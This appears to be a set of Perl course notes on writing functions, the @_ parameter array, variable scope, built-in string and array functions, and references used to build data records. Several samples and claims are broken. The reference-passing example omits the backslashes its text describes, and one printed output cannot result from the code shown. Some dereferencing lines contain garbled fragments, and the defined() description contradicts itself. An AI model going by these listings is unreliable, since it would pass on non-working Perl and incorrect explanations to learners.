After you get the idea for a program, you need to develop a program outline-either in your head or on paper. Each step in the outline might be one function in your program. This is called *modular programming*. Modular programming is very good at allowing you to hide the details so that readers of your source code can understand the overall aim of your program.

For instance, if your program has a function that calculates the area of a circle, the following line of code might be used to call it:

```
$areaOfFirstCircle = areaOfCircle($firstRadius);
```

By looking at the function call, the reader knows what the program is doing. Detailed understanding of the actual function is not needed.

Note Calling a function means that Perl stops executing the current series of program lines. Program flow jumps into the program code inside the function. When the function is finished, Perl jumps back to the point at which the function call was made. Program execution continues from that point onward.

Let's look at the function call a little closer. The first thing on the line is a scalar variable and an assignment operator. You already know this means Perl assigns the value on the right of the assignment operator to `$areaOfFirstCircle`.

But, what exactly is on the right?

The first thing you see is the function name `areaOfCircle()`. The parentheses directly to the right and no $, @, or % beginning the name indicates that this is a function call. Inside the parentheses is a list of parameters or values that get passed to the function. You can think of a parameter just like a football. When passed, the receiver (for example, the function) has several options: run (modify it in some way), pass (call other routines), fumble (call the error handler).

Note Perl enables you to use the & character to start function names, and in a few cases it is needed. Those few situations that the & character is needed are beyond the scope of this book.

Here is an example call of the function, `func1/pl`:

```
$areaOfFirstCircle = areaOfCircle(5);

print("$areaOfFirstCircle\n");
```

```
sub areaOfCircle {

    $radius = $_[0];

    return(3.1415 * ($radius ** 2));

}
```

This program prints:

```
78.7375
```

The fact that something prints tells you that the program flow returned to the print line after calling the `areaOfCircle()` function.

A function definition is very simple. It consists of:

```
sub functionName {

                    }
```

That's it. Perl function definitions never get any more complex.

The complicated part comes when dealing with parameters. *Parameters* are values passed to the function (remember the football?). The parameters are specified inside the parentheses that immediately follow the function name. In example above, the function call was `areaOfCircle(5)`. There was only one parameter, the number 5. Even though there is only one parameter, Perl creates a parameter array for the function to use.

Inside the `areaOfCircle()` function, the parameter array is named `@_`. All parameters specified during the function call are stored in the `@_` array so that the function can retrieve them. Our small function did this with the line:

```
$radius = $_[0];
```

This line of code assigns the first element of the `@_` array to the `$radius` scalar.

Note Because parameters always are passed as lists, Perl functions also are referred to as list operators. And, if only one parameter is used, they are sometimes referred to as unary operators. However, I'll continue to call them functions and leave the finer points of distinction to others.

The next line of the function:

```
return(3.1415 * ($radius ** 2));
```

calculates the circle's area and returns the newly calculated value. In this case, the returning value is assigned to the `$areaOfFirstCircle` scalar variable.

Note If you prefer, you don't need to use the `return()` function to return a value because Perl automatically returns the value of the last expression evaluated. I prefer to use the `return()` function and be explicit so that there is no mistaking my intention.

You may have used programming languages that distinguish between a function and a subroutine, the difference being that a function returns a value and a subroutine does not. Perl makes no such distinctions. Everything is a function-whether or not it returns a value.

- Using the Parameter Array (@_)
- Passing Parameters by Reference
- Scope of Variables
- Using a List as a Function Parameter
- Nesting Function Calls
- Using a Private Function
- String Functions
- Array Functions
- Summary

---

dave@cs.cf.ac.uk

Using the Parameter Array (@_)

All parameters to a function are stored in an array called `@_`. One side effect of this is that you can find out how many parameters were passed by evaluating `@` in a scalar context.

For example, `func2.pl`:

```
firstSub(1, 2, 3, 4, 5, 6);

firstSub(1..3);

firstSub("A".."Z");



sub firstSub {

    $numParameters = @_ ;

    print("The number of parameters is $numParameters\n");

}
```

This program prints out:

```
The number of parameters is 6

The number of parameters is 3

The number of parameters is 26
```

Perl lets you pass any number of parameters to a function. The function decides which parameters to use and in what order. The `@_` array is used like any other array.

Let's say that you want to use scalar variables to reference the parameters so you don't have to use the clumsy and uninformative `$_ [0]` array element notation. By using the assignment operator, you can assign array elements to scalars in one easy step.

For example, `func3.pl`:

```
areaOfRectangle(2, 3);

areaOfRectangle(5, 6);
```

```
sub areaOfRectangle {

    ($height, $width) = @_ ;


    $area = $height * $width;


    print("The height is $height. The width is $width.

        The area is $area.\n\n");

}
```

This program prints out:

```
The height is 2. The width is 3.

        The area is 6.


The height is 5. The width is 6.

        The area is 30.
```

The statement `($height,$width) = @_;` does the array element to scalar assignment. The first element is assigned to `$height`, and the second element is assigned to `$width`. After the assignment is made, you can use the scalar variables to represent the parameters.

---

dave@cs.cf.ac.uk

Passing Parameters by Reference

Using scalar variables inside your functions is a good idea for another reason-besides simple readability concerns. When you change the value of the elements of the `@` array, you also change the value of the parameters in the rest of the program. This is because Perl parameters are called by reference. When parameters are called by reference, changing their value in the function also changes their value in the main program.

For example, `func4.pl`:

```
@array = (0..5);

print("Before function call, array = @array\n");

firstSub(@array);

print("After function call, array =  @array\n");



sub firstSub{

    $_[0] = "A";

    $_[1] = "B";

}
```

This program prints:

```
Before function call, array =  0 1 2 3 4 5

After function call, array =   A B 2 3 4 5
```

You can see that the function was able to affect the `@array` variable in the main program. Generally, this is considered bad programming practice because it does not isolate what the function does from the rest of the program. If you change the function so that scalars are used inside the function, this problem goes away.

So we now write, `func5.pl`:

```
@array = (0..5);
```

```
print("Before function call, array = @array\n");

firstSub(@array);

print("After function call, array =  @array\n");



sub firstSub{

    ($firstVar, $secondVar) = @_ ;



    $firstVar = "A";

    $secondVar = "B";

}
```

This program prints:

```
Before function call, array =  0 1 2 3 4 5

After function call, array =   0 1 2 3 4 5
```

This example shows that the original `@array` variable is left untouched. However, another problem has quietly arisen. Let's change the program a little so the values of `$firstVar` are printed before and after the function call.

The nex example show how changing a variable in the function affects the main program, `func6.pl`:

```
$firstVar = 10;

@array    = (0..5);



print("Before function call\n");

print("\tfirstVar = $firstVar\n");

print("\tarray    = @array\n");



firstSub(@array);
```

```
print("After function call\n");

print("\tfirstVar = $firstVar\n");

print("\tarray    = @array\n");


sub firstSub{

    ($firstVar, $secondVar) = @_ ;


    $firstVar = "A";

    $secondVar = "B";

}
```

And we now get:

```
Before function call

        firstVar = 10

        array    = 0 1 2 3 4 5


After function call

        firstVar = A

        array    = 0 1 2 3 4 5
```

By using the `$firstVar` variable in the function you also change its value in the main program. By default, all Perl variables are accessible everywhere inside a program. This ability to globally access variables can be a good thing at times. It does help when trying to isolate a function from the rest of your program. The next section shows you how to create variables that can only be used inside functions.

Scope of Variables

Scope refers to the visibility of variables. In other words, which parts of your program can see or use it. Normally, every variable has a global scope. Once defined, every part of your program can access a variable.

It is very useful to be able to limit a variable's scope to a single function. In other words, the variable wil have a limited scope. This way, changes inside the function can't affect the main program in unexpected ways, `func7.pl`

```
firstSub("AAAAA", "BBBBB");



sub firstSub{

    local ($firstVar) = $_[0];

    my($secondVar)    = $_[1];


    print("firstSub: firstVar  = $firstVar\n");

    print("firstSub: secondVar = $secondVar\n\n");


    secondSub();


    print("firstSub: firstVar  = $firstVar\n");

    print("firstSub: secondVar = $secondVar\n\n");

}


sub secondSub{

    print("secondSub: firstVar  = $firstVar\n");
```

```
    print("secondSub: secondVar = $secondVar\n\n");


    $firstVar  = "ccccC";

    $secondVar = "DDDDD";


    print("secondSub: firstVar  = $firstVar\n");

    print("secondSub: secondVar = $secondVar\n\n");

}
```

This program prints:

```
firstSub: firstVar = AAAAA

firstSub: secondVar = BBBBB


secondSub: firstVar  = AAAAA

Use of uninitialized value at test.pl line 19.

secondSub: secondVar =


secondSub: firstVar  = ccccC

secondSub: secondVar = DDDDD


firstSub: firstVar  = ccccC

firstSub: secondVar = BBBBB
```

The output from this example shows that `secondSub()` could not access the `$secondVar` variable that was created with `my()` inside `firstSub()`. Perl even prints out an error message that warns about the uninitialized value. The `$firstVar` variable, however, can be accessed and valued by `secondSub()`.

Tip It's generally a better idea to use `my()` instead of `local()` so that you can tightly control the

scope of local variables. Think about it this way-it's 4:00 in the morning and the project is due. Is that the time to be checking variable scope? No. Using `my()`enforces good programming practices and reduces headaches.

Actually, the `my()` function is even more complex than I've said. The easy definition is that it creates variables that only the current function can see. The true definition is that it creates variables with lexical scope. This distinction is only important when creating modules or objects, so let's ignore the complicated definition for now. You'll hear more about it in Chapter on *Perl Modules.*

If you remember, I mentioned calling parameters by reference. Passing parameters by reference means that functions can change the variable's value, and the main program sees the change. When `local()` is used in conjunction with assigning the `@_` array elements to scalars, then the parameters are essentially being called by value. The function can change the value of the variable, but only the function is affected. The rest of the program sees the old value.

---

 dave@cs.cf.ac.uk

Using a List as a Function Parameter

Now that you understand about the scope of variables, let's take another look at parameters. Because all parameters are passed to a function in one array, what if you need to pass both a scalar and an array to the same function? This next example shows you what happens, `func8.pl`

```
firstSub((0..10), "AAAA");



sub firstSub{

    local(@array, $firstVar) = @_ ;



    print("firstSub: array    = @array\n");

    print("firstSub: firstVar = $firstVar\n");

}
```

This program prints:

```
firstSub: array    = 0 1 2 3 4 5 6 7 8 9 10 AAAA

Use of uninitialized value at test.pl line 8.

firstSub: firstVar =
```

When the local variables are initialized, the `@array` variables grab all of the elements in the @ array, leaving none for the scalar variable. This results in the uninitialized value message displayed in the output. You can fix this by merely reversing the order of parameters. If the scalar value comes first, then the function processes the parameters without a problem, `func9.pl`

```
firstSub("AAAA", (0..10));



sub firstSub{

    local($firstVar, @array) = @_ ;
```

```
    print("firstSub: array    = @array\n");

    print("firstSub: firstVar = $firstVar\n");

}
```

This program prints:

```
firstSub: array    = 0 1 2 3 4 5 6 7 8 9 10

firstSub: firstVar = AAAA
```

Note You can pass as many scalar values as you want to a function, but only one array. If you try to pass more than one array, the array elements become joined together and passed as one array to the function. Your function won't be able to tell when one array starts and another ends.

---

 dave@cs.cf.ac.uk

Nesting Function Calls

Function calls can be nested many levels deep. Nested function calls simply means that one function can call another which in turn can call another. Exactly how many levels you can nest depends on which version of Perl you are running and how your machine is configured. Normally, you don't have to worry about it. If you want to see how many levels your system can recurse, try the following small program, `func10.pl`:

```
firstSub();



sub firstSub{

    print("$count\n");

    $count++;

    firstSub();

}
```

A system typically counts up to something like 127 before displaying the following message:

```
Error: Runtime exception
```

While it is important to realize that there is a limit to the number of times your program can nest functions, you should never run into this limitation unless you are working with recursive mathematical functions.

---

dave@cs.cf.ac.uk

Using a Private Function

Occasionally, you might want to create a private function. A private function is one that is only available inside the scope where it was defined, `private.pl`:

```
$temp = performCalc(10, 10);

print("temp = $temp\n");



sub performCalc {

    my ($firstVar, $secondVar) = @_;



    my $square = sub {

        return($_[0] ** 2);

    };



    return(&$square($firstVar) + &$square($secondVar));

};
```

This program prints:

```
temp = 200
```

This example is rather trivial, but it serves to show that in Perl it pays to create little helper routines. A fine line needs to be drawn between what should be included as a private function and what shouldn't. I would draw the line at 5 or 6 lines of code. Anything longer probably should be made into its own function. I would also say that a private function should have only one purpose for existence. Performing a calculation and then opening a file is too much functionality for a single private function to have.

The rest of the chapter is devoted to showing you some of the built-in functions of Perl. These little nuggets of functionality will become part of your arsenal of programming weapons.

dave@cs.cf.ac.uk

String Functions

Perl provides a very useful set of string handling functions:

The first set of functions that we'll look at are those that deal with strings. These functions let you determine a string's length, search for a sub-string, and change the case of the characters in the string, among other things.

Here are Perl's string functions:

- `chomp(STRING) OR chomp(ARRAY)` -- Uses the value of the `$/` special variable to remove endings from `STRING` or each element of `ARRAY`. The line ending is only removed if it matches the current value of `$/`.
- `chop(STRING) OR chop(ARRAY)`-- Removes the last character from a string or the last character from every element in an array. The last character chopped is returned.
- `chr(NUMBER)` -- Returns the character represented by `NUMBER` in the ASCII table. For instance, `chr(65)` returns the letter `A`.
- `crypt(STRING1, STRING2)` -- Encrypts `STRING1`. Unfortunately, Perl does not provide a decrypt function.
- `index(STRING, SUBSTRING, POSITION)` -- Returns the position of the first occurrence of `SUBSTRING` in `STRING` at or after `POSITION`. If you don't specify `POSITION`, the search starts at the beginning of `STRING`.
- `join(STRING, ARRAY)` -- Returns a string that consists of all of the elements of `ARRAY` joined together by `STRING`. For instance, `join(">>", ("AA", "BB", "cc"))` returns `"AA>>BB>>cc"`.
- `lc(STRING)` -- Returns a string with every letter of `STRING` in lowercase. For instance, `lc("ABCD")` returns `"abcd"`.
- `lcfirst(STRING)` -- Returns a string with the first letter of `STRING` in lowercase. For instance, `lcfirst("ABCD")` returns `"aBCD"`.
- `length(STRING)` -- Returns the length of `STRING`.
- `rindex(STRING, SUBSTRING, POSITION)` -- Returns the position of the last occurrence of `SUBSTRING` in `STRING` at or after `POSITION`. If you don't specify `POSITION`, the search starts at the end of `STRING`.
- `split(PATTERN, STRING, LIMIT)` -- Breaks up a string based on some delimiter. In an array context, it returns a list of the things that were found. In a scalar context, it returns the number of things found.
- `substr(STRING, OFFSET, LENGTH)` -- Returns a portion of `STRING` as determined by the `OFFSET` and `LENGTH` parameters. If `LENGTH` is not specified, then everything from `OFFSET` to the end of `STRING` is returned. A negative `OFFSET` can be used to start from the right side of `STRING`.
- `uc(STRING)` -- Returns a string with every letter of `STRING` in uppercase. For instance,

`uc("abcd")` returns `"ABCD"`.

- `Ucfirst(STRING)` -- Returns a string with the first letter of `STRING` in uppercase. For instance, `ucfirst("abcd")` returns `"Abcd"`.

Note As a general rule, if Perl sees a number where it expects a string, the number is quietly converted to a string without your needing to do anything.

Note Some of these functions use the special variable `$_` as the default string to work with. More information about `$_` can be found in Chapter on Files, and the Chapter Special Variables.

The next few sections demonstrate some of these functions. After seeing some of them work, you'll be able to use the rest of them.

Example: Changing a String's Value

Frequently, I find that I need to change part of a string's value, usually somewhere in the middle of the string. When this need arises, I turn to the `substr()` function. Normally, the `substr()` function returns a sub-string based on three parameters: the string to use, the position to start at, and the length of the string to return.

```
$firstVar = substr("0123BBB789", 4, 3);

print("firstVar  = $firstVar\n");
```

This program prints:

```
firstVar = BBB
```

The `substr()` function starts at the fifth position and returns the next three characters. The returned string can be printed like in the above example, as an array element, for string concatention, or any of a hundred other options.

Things become more interesting when you put the `substr()` function on the left-hand side of the assignment statement. Then, you actually can assign a value to the string that `substr()` returns.

```
$firstVar = "0123BBB789";

substr($firstVar, 4, 3) = "AAA";

print("firstVar  = $firstVar\n");
```

This program prints:

```
firstVar = 0123AAA789
```

Example: Searching a String

Another useful thing you can do with strings is search them to see if they have a given sub-string. For example if you have a full path name such as

```
 "C:\\WINDOWS\TEMP\WSREWE.DAT",
```

you might need to extract the file name at the end of the path. You might do this by searching for the last backslash and then using `substr()` to return the sub-string.

Note The path name string has double backslashes to indicate to Perl that we really want a backslash in the string and not some other escape sequence, `search.pl`

```
$pathName = "C:\\WINDOWS\\TEMP\\WSREWE.DAT";

$position = rindex($pathName, "\\") + 1;

$fileName = substr($pathName, $position);

print("$fileName\n");
```

This program prints:

```
WSREWE.DAT
```

If the third parameter-the length-is not supplied to `substr()`, it simply returns the sub-string that starts at the position specified by the second parameter and continues until the end of the string specified by the first parameter.

Array Functions

Arrays are also a big part of the Perl language and Perl has a lot of functions to help you work with them. Some of the actions arrays perform include deleting elements, checking for the existence of an element, reversing all of the the elements in an array, and sorting the elements.

Here are the functions you can use with arrays:

- `defined(VARIABLE)` -- Returns true if `VARIABLE` has a real value and if the variable has not yet been assigned a value. This is not limited to arrays; any data type can be checked. Also see the `exists` function for information about associative array keys.
- `delete(KEY)` -- Removes the key-value pair from the given associative array. If you delete a value from the `%ENV` array, the environment of the current process is changed, not that of the parent.
- `each(ASSOC_ARRAY)` -- Returns a two-element list that contains a key and value pair from the given associative array. The function is mainly used so you can iterate over the associate array elements. A null list is returned when the last element has been read.
- `exists(KEY)` -- Returns true if the `KEY` is part of the specified associative array. For instance, `exists($array{"Orange"})` returns true if the `%array` associative array has a key with the value of "Orange."
- `join(STRING, ARRAY)` -- Returns a string that consists of all of the elements of `ARRAY` joined together by `STRING`. For instance, `join(">>", ("AA", "BB", "cc"))` returns `"AA>>BB>>cc"`.
- `keys(ASSOC_ARRAY)` -- Returns a list that holds all of the keys in a given associative array. The list is not in any particular order.
- `map(EXPRESSION, ARRAY)` -- Evaluates `EXPRESSION` for every element of `ARRAY`. The special variable `$` is assigned each element of `ARRAY` immediately before `EXPRESSION` is evaluated.
- `pack(STRING, ARRAY)` -- Creates a binary structure, using `STRING` as a guide, of the elements of `ARRAY`. You can look in the next Chapter on References for more information.
- `pop(ARRAY)` -- Returns the last value of an array. It also reduces the size of the array by one.
- `push(ARRAY1, ARRAY2)` -- Appends the contents of `ARRAY2` to `ARRAY1`. This increases the size of `ARRAY1` as needed.
- `reverse(ARRAY)` -- Reverses the elements of a given array when used in an array context. When used in a scalar context, the array is converted to a string, and the string is reversed.
- `scalar(ARRAY)` -- Evaluates the array in a scalar context and returns the number of elements in the array.
- `shift(ARRAY)` -- Returns the first value of an array. It also reduces the size of the array by one.
- `sort(ARRAY)` -- Returns a list containing the elements of `ARRAY` in sorted order. See next

Chapter 8on References for more information.

- `splice(ARRAY1, OFFSET,` -- Replaces elements of `ARRAY1` with elements `LENGTH, ARRAY2)`in `ARRAY2`. It returns a list holding any elements that were removed. Remember that the `$[` variable may change the base array subscript when determining the `OFFSET` value.
- `split(PATTERN, STRING, LIMIT)` -- Breaks up a string based on some delimiter. In an array context, it returns a list of the things that were found. In a scalar context, it returns the number of things found.
- `undef(VARIABLE)` -- Always returns the undefined value. In addition, it undefines `VARIABLE`, which must be a scalar, an entire array, or a subroutine name.
- `unpack(STRING, ARRAY)` -- Does the opposite of `pack()`.
- `unshift(ARRAY1, ARRAY2)` -- Adds the elements of `ARRAY2` to the front of `ARRAY1`. Note that the added elements retain their original order. The size of the new `ARRAY1` is returned.
- `values(ASSOC_ARRAY)` -- Returns a list that holds all of the values in a given associative array. The list is not in any particular order.

As with the string functions, only a few of these functions will be explored.

Example: Printing an Associative Array

The `each()` function returns key, value pairs of an associative array one-by-one in a list. This is called *iterating* over the elements of the array. Iteration is a synonym for looping. So, you also could say that the `each()` function starts at the beginning of an array and loops through each element until the end of the array is reached. This ability lets you work with key, value pairs in a quick easy manner.

The `each()` function does not loop by itself. It needs a little help from some Perl control statements. For this example, we'll use the *while* loop to print an associative array. The `while (CONDITION) {}` control statement continues to execute any program code surrounded by the curly braces until the `CONDITION` turns false, `assoc.pl`.

```
%array = ( "100", "Green", "200", "Orange");



while (($key, $value) = each(%array)) {

      print("$key = $value\n");

}
```

This program prints:

```
100 = Green

200 = Orange
```

The `each()` function returns false when the end of the array is reached. Therefore, you can use it as the basis of the `while`'s condition. When the end of the array is reached, the program continues

execution after the closing curly brace. In this example, the program simply ends.

Example: Checking the Existence of an Element

You can use the `defined()` function to check if an array element exists before you assign a value to it. This ability is very handy if you are reading values from a disk file and don't want to overlay values already in memory. For instance, suppose you have a disk file of Jazz Artist addresses and you would like to know if any of them are duplicates. You check for duplicates by reading the information one address at a time and assigning the address to an associative array using the Jazz Artist name as the key value. If the Jazz Artist name already exists as a key value, then that address should be flagged for follow up.

Because we haven't talked about disk files yet, we'll need to emulate a disk file with an associative array. And, instead of using Jazz Artist's address, we'll use Jazz Artist number and Jazz Artist name pairs. First, we see what happens when an associative array is created and two values have the same keys, `element1.pl`.

```
createPair("100",  "Miles Davis");

createPair("200",  "Keith Jarrett");

createPair("100", "John Coltrane");



while (($key, $value) = each %array) {

    print("$key, $value\n");

};



sub createPair{

    my($key, $value) = @_ ;



    $array{$key} = $value;

};
```

This program prints:

```
100, John Coltrane

200, Keith Jarrett
```

This example takes advantages of the global nature of variables. Even though the `%array` element is

set in the `createPair()` function, the array is still accessible by the main program. Notice that the first key, value pair (100 and Miles Davis) are overwritten when the third key, value pair is encountered. You can see that it is a good idea to be able to determine when an associative array element is already defined so that duplicate entries can be handled. The next program does this, `element2.pl`.

```
createPair("100",  "Miles Davis");

createPair("200",  "Keith Jarrett");

createPair("100", "John Coltrane");

while (($key, $value) = each %array) {

    print("$key, $value\n");

};



sub createPair{

    my($key, $value) = @_ ;



    while (defined($array{$key})) {

        $key++;

    }



    $array{$key} = $value;

};
```

This program prints:

```
100, Miles Davis

101, John Coltrane

200, Keith Jarrett
```

You can see that the number for John Coltrane has been changed to 101.

---

 dave@cs.cf.ac.uk

Summary

In this chapter you've learned about functions-what they are and how to call them. You saw that you can create your own function or use one of Perl's many built-in functions. Each function can accept any number of parameters which get delivered to the function in the form of the `@` array. This array, like any other array in Perl, can be accessed using the array element to access an individual element. (For instance, `$_ [0]` accesses the first element in the `@` array.) Because Perl parameters are passed by reference, changing the `@` array changes the values in the main program as well as the function.

You learned about the scope of variables and how all variables are global by default. Then, you saw how to create variable with local scope using `local()` and `my()`. `My()` is the better choice in almost all situations because it enforces local scope and limits side effects from function to inside the functions.

Then you saw that it was possible to nest function calls, which means that one function can call another, which in turn can call another. You also might call this a chain of function calls. Private functions were introduced next. A private function is one that only can be used inside the function that defines it.

A list of string functions then was presented. These included functions to remove the last character, encrypt a string, find a sub-string, convert array elements into a string, change the case of a string character, and find the length of a string. Examples were shown about how to change a string's characters and how to search a string.

The section on array functions showed that Perl has a large number of functions that deal specifically with arrays. The list of functions included the ability to delete elements, return key, value pairs from associative arrays, reverse an array's elements, and sort an array. Examples were shown for printing an associative array and checking for the existence of an element.

---

 dave@cs.cf.ac.uk

References

A *reference* is a scalar value that points to a memory location that holds some type of data. Everything in your Perl program is stored inside your computer's memory. Therefore, all of your variables and functions are located at some memory location. References are used to hold the memory addresses. When a reference is *dereferenced*, you retrieve the information referred to by the reference.

- Reference Types
- Passing Parameters to Functions
- The ref() Function
- Example: Creating a Data Record
- Interpolating Functions Inside Double-Quoted Strings
- Summary

---

dave@cs.cf.ac.uk

Reference Types

There are six types of references. A reference can point to a scalar, an array, a hash, a glob, a function, or another reference. Table 8.1 shows how the different types are valued with the assignment operator and how to dereference them using curly braces.

The Six Types of References are:

Reference Assignment	***How to Dereference***
`$refScalar = \$scalar;`	${$refScalar} is a scalar value.
`$refArray = \@array;`	@{$refArray} is an array value.
`$refHash = \%hash;`	%{$refHash} is a hash value.
`$refglob = \*file;`	Glob references are beyond the scope of this course
`$refFunction = \&function;`	&{$refFunction} is a function location.
`$refRef = \$refScalar;`	${${$refScalar} is a scalar value.

Essentially, all you need to do in order to create a reference is to add the backslash to the front of a value or variable.

---

dave@cs.cf.ac.uk

Passing Parameters to Functions

When we introduced Functions we talked about passing parameters to functions. At the time, we were not able to pass more than one array to a function. This was because functions only see one array (the `@_` array) when looking for parameters. References can be used to overcome this limitation.

Let's start off by passing two arrays into a function to show that the function only sees one array (`pass_par.pl`):

```
firstSub( (1..5), ("A".."E"));



sub firstSub {

    my(@firstArray, @secondArray) = @_ ;



    print("The first array is  @firstArray.\n");

    print("The second array is @secondArray.\n");

}
```

This program displays:

```
The first array is  1 2 3 4 5 A B C D E.

The second array is .
```

Inside the `firstSub()` function, the `@firstArray` variable was assigned the entire parameter array, leaving nothing for the `@secondArray` variable. By passing references to `@arrayOne` and `@arrayTwo`, we can preserve the arrays for use inside the function. Very few changes are needed to enable the above example to use references (`pass_ref.pl`):

```
firstSub( (1..5), ("A".."E"));        # One



sub firstSub {

    my($ref_firstArray, $ref_secondArray) = @_    # Two
```

```
    print("The first array is  @{$ref_firstArray}.\n");  # Three

    print("The second array is @{$ref_secondArray}.\n"); # Three

}
```

This program displays:

```
The first array is  1 2 3 4 5.

The second array is A B C D E.
```

Three things were done to make this example use references:

1. In the line marked "One," backslashes were added to indicate that a reference to the array should be passed.
2. In the line marked "Two," the references were taken from the parameter array and assigned to scalar variables.
3. In the lines marked "Three," the scalar values were dereferenced. Dereferencing means that Perl will use the reference as if it were a normal data type-in this case, an array variable.

The ref() Function

Using references to pass arrays into a function worked well and it was easy, wasn't it? However, what happens if you pass a scalar reference to the `firstSub()` function instead of an array reference? Listing 8.1 shows how passing a scalar reference when the function demands an array reference causes problems `no_ref.pl`.

```
firstSub( 10, ("A".."E") );



sub firstSub {

    my($ref_firstArray, $ref_secondArray) = @_ ;



    print("The first array is  @{$ref_firstArray}.\n");

    print("The second array is @{$ref_secondArray}.\n");

}
```

This program displays:

```
Not an ARRAY reference at 08lst01.pl line 9.
```

Perl provides the `ref()` function so that you can check the reference type before dereferencing a reference. The next example shows how to trap the mistake of passing a scalar reference instead of an array reference (`scal_ref.pl`).

```
firstSub( 10, ("A".."E") );



sub firstSub {

    my($ref_firstArray, $ref_secondArray) = @_ ;





    print("The first array is  @{$ref_firstArray}.\n")
```

```
        if (ref($ref_firstArray) eq "ARRAY");             # One


    print("The second array is @{$ref_secondArray}.\n"

        if (ref($ref_secondArray) eq "ARRAY");            # Two

}
```

This program displays:

```
The second array is 1 2 3 4 5.
```

Only the second parameter is printed because the first parameter-the scalar reference-failed the test on the line marked "One." The statement modifiers on the lines marked "One" and "Two" ensure that we are dereferencing an array reference. This prevents the error message that appeared earlier. Of course, in your own programs you might want to set an error flag or print a warning.

Some values that the `ref()` function can return are:

Function Call	***Return Value***
ref(10);	undefined
ref(\10);	SCALAR
ref(`\{1 => ; "Joe"}`);	HASH
ref(\&firstSub);	CODE
ref(\\10);	REF

Another example of the `ref()` function in action is `ref.pl`:

```
$scalar = 10;

@array  = (1, 2);

%hash   = ( "1" => "Davy Jones" );



# I added extra spaces around the parameter list

# so that the backslashes are easier to see.

printRef( $scalar, @array, %hash );

printRef( \$scalar, \@array, \%hash );

printRef( \&printRef, \\$scalar );
```

```
# print the reference type of every parameter.

sub printRef {

    foreach (@_) {

        $refType = ref($_);

        defined($refType) ? print "$refType " : print("Non-reference ");

    }

    print("\n");

}
```

This program displays:

```
Non-reference Non-reference Non-reference

SCALAR ARRAY HASH

CODE REF
```

By using the `ref()` function you can protect program code that dereferences variables from producing errors when the wrong type of reference is used.

---

dave@cs.cf.ac.uk

Example: Creating a Data Record

Perl's associative arrays (hashes) are extremely useful when it comes to storing information in a way that facilitates easy retrieval. For example, you could store customer information like this:

```
%record = ( "Name"    => "Jane Hathaway",

            "Address" => "123 Anylane Rd.",

            "Town"    => "AnyTown",

            "State"   => "AnyState",

            "Zip"     => "12345-1234"

);
```

The `%record` associative array also can be considered a *data record* with five *members*. Each member is a single item of information. The data record is a group of members that relates to a single topic. In this case, that topic is a customer address. And, a *database* is one or more data records.

Each member is accessed in the record by using its name as the key. For example, you can access the state member by saying `$record{"State"}`. In a similar manner, all of the members can be accessed.

Of course, a database with only one record is not very useful. By using references, you can build a multiple record array.The code below shows two records and how to initialize a database array.

The `record2.pl` script below illstrates this:

```
%recordOne = ( "Name"    => "Jane Hathaway",

               "Address" => "123 Anylane Rd.",

               "Town"    => "AnyTown",

               "State"   => "AnyState",

               "Zip"     => "12345-1234"

);
```

```
%recordTwo = ( "Name"    => "Kevin Hughes",

               "Address" => "123 Allways Dr.",

               "Town"    => "AnyTown",

               "State"   => "AnyState",

               "Zip"     => "12345-1234"

);



@database = ( \%recordOne, \%recordTwo );
```

You can print the address member of the first record like this:

```
print( %{$database[0]}->{t;{"Address"} . "\n");
```

which displays:

```
123 Anylane Rd.
```

Let's dissect the dereferencing expression in this print statement. Remember to work left to right and always evaluate brackets and parentheses first. Ignoring the `print()` function and the newline, you can evaluate this line of code in the following way:

- The inner most bracket is `[0],` which means that we'll be looking at the first element of an array.
- The square bracket operators have a left to right associativity, so we look left for the name of the array. The name of the array is database.
- Next come the curly brackets, which tell Perl to dereference. Curly brackets also have a left to right associativity, so we look left to see the reference type. In this case we see a %, which means an associative array.
- The -> is the infix dereference operator. It tells Perl that the thing being dereferenced on the left (the database reference in this case) is connected to something on the right.
- The 'thing' on the right is the key value or "Address." Notice that it is inside curly braces exactly as if a regular hash key were being used.

The variable declaration in the above example uses three variables to define the data's structure. We can condense the declaration down to one variable as shown below (`database.pl`):

```
@database = (

    { "Name"    => "Jane Hathaway",

      "Address" => "123 Anylane Rd.",
```

```
      "Town"    => "AnyTown",
      "State"   => "AnyState",
      "Zip"     => "12345-1234"
    },
    { "Name"    => "Kevin Hughes",
      "Address" => "123 Allways Dr.",
      "Town"    => "AnyTown",
      "State"   => "AnyState",
      "Zip"     => "12345-1234"
    }
);


print(%{$database[0]}->{"Name"} . "\n");
print(%{$database[1]}->{"Name"} . "\n");
```

This program displays:

```
Jane Hathaway
Kevin Hughes
```

Let's analyze the dereferencing code in the first print line.

- The innermost bracket is [0], which means that we'll be looking at the first element of an array.
- The square bracket operators have a left to right associativity, so we look left for the name of the array. The name of the array is `database`.
- Next comes the curly brackets, which tell Perl to dereference. Curly brackets also have a left to right associativity, so we look left to see the reference type. In this case we see a `%`, which means an associative array.
- The -> is the infix dereference operator. It tells Perl that the thing being dereferenced on the left (the `database` reference in this case) is connected to something on the right.
- The 'thing' on the right is the key value or "Name." Notice that it is inside curly braces exactly as if a regular hash key were being used.

Even though the structure declarations in the last two examples look different, they are equivalent. You can confirm this because the structures are dereferenced the same way. What's happening here?

Perl is creating *anonymous* associative array references that become elements of the `@database` array.

In the previous example, each hash had a name-`%recordOne` and `%recordTwo`. In the current example, there is no variable name directly associated with the hashes. If you use an anonymous variable in your programs, Perl automatically will provide a reference to it.

We can explore the concepts of data records a bit further using this basic example. So far, we've used hash references as elements of an array. When one data type is stored inside of another data type, this is called *nesting* data types. You can nest data types as often and as deeply as you would like.

At this stage of the example, `%{$database[0]}->{t;{"Name"}` was used to dereference the "Name" member of the first record. This type of dereferencing uses an array subscript to tell Perl which record to look at. However, you could use an associative array to hold the records. With an associative array, you could look at the records using a customer number or other id value.

The following code shows how this can be done (`database2.pl`):

```
 %database = (

    "MRD-100" => { "Name"    => "Jane Hathaway",

                   "Address" => "123 Anylane Rd.",

                   "Town"    => "AnyTown",

                   "State"   => "AnyState",

                   "Zip"     => "12345-1234"

                 },

    "MRD-250" => { "Name"    => "Kevin Hughes",

                   "Address" => "123 Allways Dr.",

                   "Town"    => "AnyTown",

                   "State"   => "AnyState",

                   "Zip"     => "12345-1234"

                 }

);



print(%{$database{"MRD-100"}}->{"Name"} . "\n");
```

```
print(%{$database{"MRD-250"}}->{"Name"} . "\n");
```

This program displays:

```
Jane Hathaway

Kevin Hughes
```

You should be able to follow the same steps that we used previously to decipher the print statement in this listing. The key is that the associative array index is surrounded by the curly brackets instead of the square brackets used previously.

